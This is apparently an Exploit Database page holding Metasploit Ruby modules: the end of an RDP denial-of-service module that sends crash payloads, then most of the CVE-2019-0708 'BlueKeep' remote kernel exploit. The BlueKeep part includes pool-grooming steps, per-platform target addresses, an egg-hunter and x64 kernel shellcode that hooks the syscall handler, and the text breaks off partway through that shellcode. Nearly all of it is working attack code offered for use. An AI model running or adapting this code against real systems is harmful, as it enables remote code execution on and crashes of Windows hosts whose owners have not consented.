"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x0c\x00" + # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET "\x08\x00" + # lengthCapability: 8 "\x01\x00\x00\x00" + "\x0e\x00" + # capabilitySetType: 14 - TS_FONT_CAPABILITYSET "\x08\x00" + # lengthCapability: 8 "\x01\x00\x00\x00" + "\x10\x00" + # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET "\x34\x00" + # lengthCapability: 52 "\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00" + "\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00" + "\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00" + "\x0f\x00" + # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET "\x08\x00" + # lengthCapability: 8 "\x01\x00\x00\x00" + "\x11\x00" + # capabilitySetType: ?? "\x0c\x00" + # lengthCapability: 12 "\x01\x00\x00\x00\x00\x28\x64\x00" + "\x14\x00" + # capabilitySetType: ?? "\x0c\x00" + # lengthCapability: 12 "\x01\x00\x00\x00\x00\x00\x00\x00" + "\x15\x00" + # capabilitySetType: ?? "\x0c\x00" + # lengthCapability: 12 "\x02\x00\x00\x00\x00\x0a\x00\x01" + "\x1a\x00" + # capabilitySetType: ?? "\x08\x00" + # lengthCapability: 8 "\xaf\x94\x00\x00" + "\x1c\x00" + # capabilitySetType: ?? "\x0c\x00" + # lengthCapability: 12 "\x12\x00\x00\x00\x00\x00\x00\x00" + "\x1b\x00" + # capabilitySetType: ?? "\x06\x00" + # lengthCapability: 6 "\x01\x00" + "\x1e\x00" + # capabilitySetType: ?? "\x08\x00" + # lengthCapability: 8 "\x01\x00\x00\x00" + "\x18\x00" + # capabilitySetType: ?? "\x0b\x00" + # lengthCapability: 11 "\x02\x00\x00\x00\x03\x0c\x00" + "\x1d\x00" + # capabilitySetType: ?? "\x5f\x00" + # lengthCapability: 95 "\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2" + "\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80" + "\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00" + "\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb" + "\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02" + "\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04" ## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU return(rdp_build_share_control_header(0x13, pdu)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992 ## Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 / 2.2.14.1 def pdu_client_synchronize(target_user = 0) pdu = "\x01\x00" + # messageType: 1 SYNCMSGTYPE_SYNC [target_user].pack("S<") # targetUser, 16 bit, unsigned. ## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE data_header = rdp_build_share_data_header(0x1f, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135 ## Control Cooperate - TC_CONTROL_PDU 2.2.1.15 def pdu_client_control_cooperate() pdu = "\x04\x00" + # action: 4 - CTRLACTION_COOPERATE "\x00\x00" + # grantId: 0 "\x00\x00\x00\x00" # controlId: 0 ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL data_header = rdp_build_share_data_header(0x14, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35 ## Control Request - TC_CONTROL_PDU 2.2.1.16 def pdu_client_control_request() pdu = "\x01\x00" + # action: 1 - CTRLACTION_REQUEST_CONTROL "\x00\x00" + # grantId: 0 "\x00\x00\x00\x00" # controlId: 0 ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL data_header = rdp_build_share_data_header(0x14, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396 ## Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1 def pdu_client_input_event_sychronize() pdu = "\x01\x00" + # numEvents: 1 "\x00\x00" + # pad2Octets "\x00\x00\x00\x00" + # eventTime "\x00\x00" + # messageType: 0 - INPUT_EVENT_SYNC ## TS_SYNC_EVENT 202.8.1.1.3.1.1.5 "\x00\x00" + # pad2Octets "\x00\x00\x00\x00" # toggleFlags ## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT data_header = rdp_build_share_data_header(0x1c, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9 ## Client Font List - TS_FONT_LIST_PDU - 2.2.1.18 def pdu_client_font_list() pdu = "\x00\x00" + # numberFonts: 0 "\x00\x00" + # totalNumberFonts: 0 "\x03\x00" + # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST) "\x32\x00" # entrySize: 50 ## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST data_header = rdp_build_share_data_header(0x27, pdu) ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU return(rdp_build_share_control_header(0x17, data_header)) end # ------------------------------------------------------------------------- # def crash_test(rc4enckey, hmackey) begin received = "" for i in 0..5 received += rdp_recv() end rescue RdpCommunicationError # we don't care end vprint_status("Sending DoS payload") found = false for j in 0..15 ## x86_payload: rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000020000000000000"].pack("H*")), rc4enckey, hmackey, "\x03\xef")) ## x64_payload: rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000000000000200000"].pack("H*")), rc4enckey, hmackey, "\x03\xef")) end end def produce_dos() unless(rdp_connection_initiation()) vprint_status("Could not connect to RDP.") return(false) end vprint_status("Sending initial client data") received = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME'])) rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received) vprint_status("Sending erect domain request") rdp_send(pdu_erect_domain_request()) vprint_status("Sending attach user request") received = rdp_sendrecv(pdu_attach_user_request()) user1 = received[9, 2].unpack("n").first [1003, 1004, 1005, 1006, 1007].each do | chan | rdp_sendrecv(pdu_channel_request(user1, chan)) end ## 5.3.4 Client Random Value client_rand = '' 32.times { client_rand << rand(0..255) } rcran = bytes_to_bignum(client_rand) vprint_status("Sending security exchange PDU") rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen)) ## We aren't decrypting anything at this point. Leave the variables here ## to make it easier to understand in the future. rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand) vprint_status("RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}") vprint_status("RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}") vprint_status("HMAC_KEY: #{bin_to_hex(hmackey)}") vprint_status("SESS_BLOB: #{bin_to_hex(sessblob)}") rc4enckey = RC4.new(rc4encstart) vprint_status("Sending client info PDU") # TODO pdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP']) received = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, "\x03\xeb", true)) vprint_status("Received License packet") rdp_recv() vprint_status("Sending client confirm active PDU") rdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey)) vprint_status("Sending client synchronize PDU") rdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey)) vprint_status("Sending client control cooperate PDU") rdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey)) vprint_status("Sending client control request control PDU") rdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey)) vprint_status("Sending client input sychronize PDU") rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey)) vprint_status("Sending client font list PDU") rdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey)) vprint_status("Sending close mst120 PDU") crash_test(rc4enckey, hmackey) vprint_status("Sending client disconnection PDU") rdp_send(rdp_build_data_tpdu("\x21\x80")) return(true) end # ------------------------------------------------------------------------- # def run_host(ip) ## Allow the run command to call the check command. begin if(open_connection()) status = produce_dos() end rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e bt = e.backtrace.join("\n") vprint_error("Unexpected error: #{e.message}") vprint_line(bt) elog("#{e.message}\n#{bt}") rescue RdpCommunicationError => e vprint_error("Error communicating RDP protocol.") status = Exploit::CheckCode::Unknown rescue Errno::ECONNRESET => e # NLA? vprint_error("Connection reset, possible NLA is enabled.") rescue => e bt = e.backtrace.join("\n") vprint_error("Unexpected error: #{e.message}") vprint_line(bt) elog("#{e.message}\n#{bt}") ensure if(status == true) sleep(1) unless(open_connection()) print_good("The host is crashed!") else print_bad("The DoS has been sent but the host is already connected!") end end disconnect() end end end
Exploit Database EDB-ID : 47416

Date de publication : 2019-09-23 22:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Exploitation and Caveats from zerosum0x0: # # 1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally. # 2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py) # 3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120. # 4. RDP has chunked messages, so we use this to groom. # a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120. # b. However, on 7+, MS_T120 will not work and you have to use RDPSND. # i. RDPSND only works when # HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0 # ii. This registry key is not a default setting for server 2008 R2. # We should use alternate groom channels or at least detect the # channel in advance. # 5. Use chunked grooming to fit new data in the freed channel, account for # the allocation header size (like 0x38 I think?). At offset 0x100? is where # the "call [rax]" gadget will get its pointer from. # a. The NonPagedPool (NPP) starts at a fixed address on XP-7 # i. Hot-swap memory is another problem because, with certain VMWare and # Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP # start. This can be anywhere from 100 mb to gigabytes of offset # before the NPP start. # b. Set offset 0x100 to NPPStart+SizeOfGroomInMB # c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need # [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an # indirect call # d. We are limited to 0x400 payloads by channel chunk max size. My # current shellcode is a twin shellcode with eggfinders. I spam the # kernel payload and user payload, and if user payload is called first it # will egghunt for the kernel payload. # 6. After channel hole is filled and the NPP is spammed up with shellcode, # trigger the free by closing the socket. # # TODO: # * Detect OS specifics / obtain memory leak to determine NPP start address. # * Write the XP/2003 portions grooming MS_T120. # * Detect if RDPSND grooming is working or not? # * Expand channels besides RDPSND/MS_T120 for grooming. # See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/ # # https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming # MS_T120 on XP... should be same process as the RDPSND class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking USERMODE_EGG = 0xb00dac0fefe31337 KERNELMODE_EGG = 0xb00dac0fefe42069 CHUNK_SIZE = 0x400 HEADER_SIZE = 0x48 include Msf::Exploit::Remote::RDP include Msf::Exploit::Remote::CheckScanner def initialize(info = {}) super(update_info(info, 'Name' => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free', 'Description' => %q( The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, allowing a malformed Disconnect Provider Indication message to cause use-after-free. With a controllable data/size remote nonpaged pool spray, an indirect call gadget of the freed channel is used to achieve arbitrary code execution. ), 'Author' => [ 'Sean Dillon <[email protected]>', # @zerosum0x0 - Original exploit 'Ryan Hanson', # @ryHanson - Original exploit 'OJ Reeves <[email protected]>', # @TheColonial - Metasploit module 'Brent Cook <[email protected]>', # @busterbcook - Assembly whisperer ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-0708'], ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 5, 'RDP_CLIENT_NAME' => 'ethdev', 'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep' }, 'Privileged' => true, 'Payload' => { 'Space' => CHUNK_SIZE - HEADER_SIZE, 'EncoderType' => Msf::Encoder::Type::Raw, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic targeting via fingerprinting', { 'Arch' => [ARCH_X64], 'FingerprintOnly' => true }, ], # # # Windows 2008 R2 requires the following registry change from default: # # [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd] # "fDisableCam"=dword:00000000 # [ 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8003800000, 'GROOMSIZE' => 100 } ], [ # This works with Virtualbox 6 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8002407000 } ], [ # This address works on VMWare 14 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8030c00000 } ], [ # This address works on VMWare 15 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8018C00000 } ], [ # This address works on VMWare 15.1 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8018c08000 } ], [ 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8102407000 } ], [ 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8018c08000 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 14 2019', 'Notes' => { 'AKA' => ['Bluekeep'] } )) register_advanced_options( [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]), OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]), OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]), ] ) end def exploit unless check == CheckCode::Vulnerable || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end if target['FingerprintOnly'] fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually') end begin rdp_connect rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') end is_rdp, server_selected_proto = rdp_check_protocol unless is_rdp fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') end # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us # from exploiting the target. if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto) fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.') end chans = [ ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP], [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ] @mst120_chan_id = 1004 + chans.length - 1 unless rdp_negotiate_security(chans, server_selected_proto) fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.') end rdp_establish_session rdp_dispatch_loop end private # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is # received on a channel, and this is when we need to kick off our exploit. def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data) # We have to do the default behaviour first. super(pkt, user, chan_id, flags, data) groom_size = datastore['GROOMSIZE'] pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size) groom_chan_count = datastore['GROOMCHANNELCOUNT'] payloads = create_payloads(pool_addr) print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.") target_channel_id = chan_id + 1 spray_buffer = create_exploit_channel_buffer(pool_addr) spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF) free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80 print_status("Surfing channels ...") rdp_send(spray_channel * 1024) rdp_send(free_trigger) chan_surf_size = 0x421 spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min chan_surf_packet = spray_channel * spray_packets chan_surf_count = chan_surf_size / spray_packets chan_surf_count.times do rdp_send(chan_surf_packet) end print_status("Lobbing eggs ...") groom_mb = groom_size * 1024 / payloads.length groom_mb.times do tpkts = '' for c in 0..groom_chan_count payloads.each do |p| tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF) end end rdp_send(tpkts) end # Terminating and disconnecting forces the USE print_status("Forcing the USE of FREE'd object ...") rdp_terminate rdp_disconnect end # Helper function to create the kernel mode payload and the usermode payload with # the egg hunter prefix. def create_payloads(pool_address) begin [kernel_mode_payload, user_mode_payload].map { |p| [ pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg p ].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, "\x00") } rescue => ex print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})") end end def assemble_with_fixups(asm) # Rewrite all instructions of form 'lea reg, [rel label]' as relative # offsets for the instruction pointer, since metasm's 'ModRM' parser does # not grok that syntax. lea_rel = /lea+\s(?<dest>\w{2,3}),*\s\[rel+\s(?<label>[a-zA-Z_].*)\]/ asm.gsub!(lea_rel) do |match| match = "lea #{$1}, [rip + #{$2}]" end # metasm encodes all rep instructions as repnz # https://github.com/jjyg/metasm/pull/40 asm.gsub!(/rep+\smovsb/, 'db 0xf3, 0xa4') encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded # Fixup above rewritten instructions with the relative label offsets encoded.reloc.each do |offset, reloc| target = reloc.target.to_s if encoded.export.key?(target) # Note: this assumes the address we're fixing up is at the end of the # instruction. This holds for 'lea' but if there are other fixups # later, this might need to change to account for specific instruction # encodings if reloc.type == :i32 instr_offset = offset + 4 elsif reloc.type == :i16 instr_offset = offset + 2 end encoded.fixup(target => encoded.export[target] - instr_offset) else raise "Unknown symbol '#{target}' while resolving relative offsets" end end encoded.fill encoded.data end # The user mode payload has two parts. The first is an egg hunter that searches for # the kernel mode payload. The second part is the actual payload that's invoked in # user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel # and user mode payloads around the heap in different packets because we don't have # enough space to put them both in the same chunk. Given that code exec can result in # landing on the user land payload, the egg is used to go to a kernel payload. def user_mode_payload asm = %Q^ _start: lea rcx, [rel _start] mov r8, 0x#{KERNELMODE_EGG.to_s(16)} _egg_loop: sub rcx, 0x#{CHUNK_SIZE.to_s(16)} sub rax, 0x#{CHUNK_SIZE.to_s(16)} mov rdx, [rcx - 8] cmp rdx, r8 jnz _egg_loop jmp rcx ^ egg_loop = assemble_with_fixups(asm) # The USERMODE_EGG is required at the start as well, because the exploit code # assumes the tag is there, and jumps over it to find the shellcode. [ USERMODE_EGG, egg_loop, USERMODE_EGG, payload.raw ].pack('<Qa*<Qa*') end def kernel_mode_payload # Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya # # This shellcode was written originally for eternalblue exploits # eternalblue_exploit7.py and eternalblue_exploit8.py # # Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0) # # Note: # - The userland shellcode is run in a new thread of system process. # If userland shellcode causes any exception, the system process get killed. # - On idle target with multiple core processors, the hijacked system call # might take a while (> 5 minutes) to get called because the system # call may be called on other processors. # - The shellcode does not allocate shadow stack if possible for minimal shellcode size. # This is ok because some Windows functions do not require a shadow stack. # - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed. # Note: the Windows 8 version macros are removed below # - The userland payload MUST be appened to this shellcode. # # References: # - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info) # - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c data_kapc_offset = 0x10 data_nt_kernel_addr_offset = 0x8 data_origin_syscall_offset = 0 data_peb_addr_offset = -0x10 data_queueing_kapc_offset = -0x8 hal_heap_storage = 0xffffffffffd04100 # These hashes are not the same as the ones used by the # Block API so they have to be hard-coded. createthread_hash = 0x835e515e keinitializeapc_hash = 0x6d195cc4 keinsertqueueapc_hash = 0xafcc4634 psgetcurrentprocess_hash = 0xdbf47c78 psgetprocessid_hash = 0x170114e1 psgetprocessimagefilename_hash = 0x77645f3f psgetprocesspeb_hash = 0xb818b848 psgetthreadteb_hash = 0xcef84c3e spoolsv_exe_hash = 0x3ee083d8 zwallocatevirtualmemory_hash = 0x576e99ea asm = %Q^ shellcode_start: nop nop nop nop ; IRQL is DISPATCH_LEVEL when got code execution push rbp call set_rbp_data_address_fn ; read current syscall mov ecx, 0xc0000082 rdmsr ; do NOT replace saved original syscall address with hook syscall lea r9, [rel syscall_hook] cmp eax, r9d je _setup_syscall_hook_done ; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize cmp dword [rbp+#{data_origin_syscall_offset}], eax je _hook_syscall ; save original syscall mov dword [rbp+#{data_origin_syscall_offset}+4], edx mov dword [rbp+#{data_origin_syscall_offset}], eax ; first time on the target mov byte [rbp+#{data_queueing_kapc_offset}], 0 _hook_syscall: ; set a new syscall on running processor ; setting MSR 0xc0000082 affects only running processor xchg r9, rax push rax pop rdx ; mov rdx, rax shr rdx, 32 wrmsr _setup_syscall_hook_done: pop rbp ;--------------------- HACK crappy thread cleanup -------------------- ; This code is effectively the same as the epilogue of the function that calls ; the vulnerable function in the kernel, with a tweak or two. ; TODO: make the lock not suck!! mov rax, qword [gs:0x188] add word [rax+0x1C4], 1 ; KeGetCurrentThread()->KernelApcDisable++ lea r11, [rsp+0b8h] xor eax, eax mov rbx, [r11+30h] mov rbp, [r11+40h] mov rsi, [r11+48h] mov rsp, r11 pop r15 pop r14 pop r13 pop r12 pop rdi ret ;--------------------- END HACK crappy thread cleanup ;======================================================================== ; Find memory address in HAL heap for using as data area ; Return: rbp = data address ;======================================================================== set_rbp_data_address_fn: ; On idle target without user application, syscall on hijacked processor might not be called immediately. ; Find some address to store the data, the data in this address MUST not be modified ; when exploit is rerun before syscall is called ;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000] ; ------ HACK rbp wasnt valid! mov rbp, #{hal_heap_storage} ; TODO: use some other buffer besides HAL heap?? ; --------- HACK end rbp _set_rbp_data_address_fn_next: ;shr rbp, 12 ;shl rbp, 12 ;sub rbp, 0x70 ; for KAPC struct too ret ;int 3 ;call $+5 ;pop r13 syscall_hook: swapgs mov qword [gs:0x10], rsp mov rsp, qword [gs:0x1a8] push 0x2b push qword [gs:0x10] push rax ; want this stack space to store original syscall addr ; save rax first to make this function continue to real syscall push rax push rbp ; save rbp here because rbp is special register for accessing this shellcode data call set_rbp_data_address_fn mov rax, [rbp+#{data_origin_syscall_offset}] add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler mov [rsp+0x10], rax ; save all volatile registers push rcx push rdx push r8 push r9 push r10 push r11 ; use lock cmpxchg for queueing APC only one at a time xor eax, eax mov dl, 1 lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl jnz _syscall_hook_done ;====================================== ; restore syscall ;====================================== ; an error after restoring syscall should never occur mov ecx, 0xc0000082 mov eax, [rbp+#{data_origin_syscall_offset}] mov edx, [rbp+#{data_origin_syscall_offset}+4] wrmsr ; allow interrupts while executing shellcode sti call r3_to_r0_start cli _syscall_hook_done: pop r11 pop r10 pop r9 pop r8 pop rdx pop rcx pop rbp pop rax ret r3_to_r0_start: ; save used non-volatile registers push r15 push r14 push rdi push rsi push rbx push rax ; align stack by 0x10 ;====================================== ; find nt kernel address ;====================================== mov r15, qword [rbp+#{data_origin_syscall_offset}] ; KiSystemCall64 is an address in nt kernel shr r15, 0xc ; strip to page size shl r15, 0xc _x64_find_nt_walk_page: sub r15, 0x1000 ; walk along page size cmp word [r15], 0x5a4d ; 'MZ' header jne _x64_find_nt_walk_page ; save nt address for using in KernelApcRoutine mov [rbp+#{data_nt_kernel_addr_offset}], r15 ;====================================== ; get current EPROCESS and ETHREAD ;====================================== mov r14, qword [gs:0x188] ; get _ETHREAD pointer from KPCR mov edi, #{psgetcurrentprocess_hash} call win_api_direct xchg rcx, rax ; rcx = EPROCESS ; r15 : nt kernel address ; r14 : ETHREAD ; rcx : EPROCESS ;====================================== ; find offset of EPROCESS.ImageFilename ;====================================== mov edi, #{psgetprocessimagefilename_hash} call get_proc_addr mov eax, dword [rax+3] ; get offset from code (offset of ImageFilename is always > 0x7f) mov ebx, eax ; ebx = offset of EPROCESS.ImageFilename ;====================================== ; find offset of EPROCESS.ThreadListHead ;====================================== ; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+) ; if offset of ImageFilename is more than 0x400, current is (Win8+) cmp eax, 0x400 ; eax is still an offset of EPROCESS.ImageFilename jb _find_eprocess_threadlist_offset_win7 add eax, 0x10 _find_eprocess_threadlist_offset_win7: lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead ;====================================== ; find offset of ETHREAD.ThreadListEntry ;====================================== lea r8, [rcx+rdx] ; r8 = address of EPROCESS.ThreadListHead mov r9, r8 ; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700 _find_ethread_threadlist_offset_loop: mov r9, qword [r9] cmp r8, r9 ; check end of list je _insert_queue_apc_done ; not found !!! ; if (r9 - r14 < 0x700) found mov rax, r9 sub rax, r14 cmp rax, 0x700 ja _find_ethread_threadlist_offset_loop sub r14, r9 ; r14 = -(offset of ETHREAD.ThreadListEntry) ;====================================== ; find offset of EPROCESS.ActiveProcessLinks ;====================================== mov edi, #{psgetprocessid_hash} call get_proc_addr mov edi, dword [rax+3] ; get offset from code (offset of UniqueProcessId is always > 0x7f) add edi, 8 ; edi = offset of 